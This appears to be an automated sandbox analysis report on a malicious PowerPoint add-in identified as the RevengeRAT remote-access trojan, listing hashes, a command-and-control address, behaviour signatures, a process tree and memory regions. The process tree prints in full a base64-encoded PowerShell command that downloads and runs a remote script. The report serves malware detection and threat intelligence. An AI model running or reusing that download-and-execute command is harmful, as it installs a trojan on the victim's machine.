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Analysis

  • max time kernel
    117s
  • max time network
    147s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    24/08/2024, 01:10

General

  • Target

    3ecc5f6014a056385e0c479b9eae55465faebf46232c1ee69c33dfd74618e1a1.ppam

  • Size

    28KB

  • MD5

    611017e71f6a61eed28e687918d303a2

  • SHA1

    a1fd8915e3acecc84bf6d2e03f069d2670d9c52a

  • SHA256

    3ecc5f6014a056385e0c479b9eae55465faebf46232c1ee69c33dfd74618e1a1

  • SHA512

    53dc0e4561f78ef7c2f9fc0fea54efe1776face2df3b1df1a94d9164917647d08ad8304b2706c0fba00443afa745612a1c4f2fa1be3762ecd146d2566ae17061

  • SSDEEP

    768:VP6H0wZxRDNiAbnHPyULqU4Qq/wiGyLcSyd:VyNp0WnvyULqU4Qq/wXHSyd

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

18.228.165.84:3333

Mutex

788bf014999d4ae8929

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\3ecc5f6014a056385e0c479b9eae55465faebf46232c1ee69c33dfd74618e1a1.ppam"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:300
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2312
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHMAcABhAG0ALQBjADIANwAzAGEALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AMQA1AC0AMAA4AC0AMgAwADIANAAuAGoAcABnAD8AYQBsAHQAPQBtAGUAZABpAGEAJgB0AG8AawBlAG4APQBkAGIAYQA5ADEAMgBjADAALQBlADgANAAxAC0ANAAyADIANQAtAGEAYgA4ADgALQA4AGIAYQAyADYAMQAyADYANgAxAGUAMgANAAoAJwApADsAIAANAAoAdQBwAFQAQQBvAGkAWABUAEMAdQBVAEMATgBwAHkAegBhAA0ACgA=""
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2572
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          • Checks processor information in registry
          PID:2628

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/300-69-0x000000007269D000-0x00000000726A8000-memory.dmp

      Filesize

      44KB

    • memory/300-68-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/300-2-0x000000007269D000-0x00000000726A8000-memory.dmp

      Filesize

      44KB

    • memory/300-11-0x0000000005350000-0x0000000005450000-memory.dmp

      Filesize

      1024KB

    • memory/300-33-0x0000000005350000-0x0000000005450000-memory.dmp

      Filesize

      1024KB

    • memory/300-35-0x0000000005350000-0x0000000005450000-memory.dmp

      Filesize

      1024KB

    • memory/300-34-0x0000000005350000-0x0000000005450000-memory.dmp

      Filesize

      1024KB

    • memory/300-63-0x0000000005350000-0x0000000005450000-memory.dmp

      Filesize

      1024KB

    • memory/300-64-0x0000000005F70000-0x0000000006070000-memory.dmp

      Filesize

      1024KB

    • memory/300-65-0x0000000005350000-0x0000000005450000-memory.dmp

      Filesize

      1024KB

    • memory/300-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/300-66-0x0000000005350000-0x0000000005450000-memory.dmp

      Filesize

      1024KB

    • memory/300-62-0x000000007269D000-0x00000000726A8000-memory.dmp

      Filesize

      44KB

    • memory/300-0-0x000000002D171000-0x000000002D172000-memory.dmp

      Filesize

      4KB

    • memory/2572-38-0x0000000002820000-0x0000000002838000-memory.dmp

      Filesize

      96KB

    • memory/2572-41-0x0000000002820000-0x0000000002838000-memory.dmp

      Filesize

      96KB

    • memory/2572-49-0x0000000002820000-0x0000000002838000-memory.dmp

      Filesize

      96KB

    • memory/2572-39-0x0000000002820000-0x0000000002838000-memory.dmp

      Filesize

      96KB

    • memory/2572-43-0x0000000002820000-0x0000000002838000-memory.dmp

      Filesize

      96KB

    • memory/2572-47-0x0000000002820000-0x0000000002838000-memory.dmp

      Filesize

      96KB

    • memory/2572-45-0x0000000002820000-0x0000000002838000-memory.dmp

      Filesize

      96KB

    • memory/2628-52-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2628-54-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2628-57-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2628-58-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

      Filesize

      4KB

    • memory/2628-59-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2628-60-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2628-61-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2628-50-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB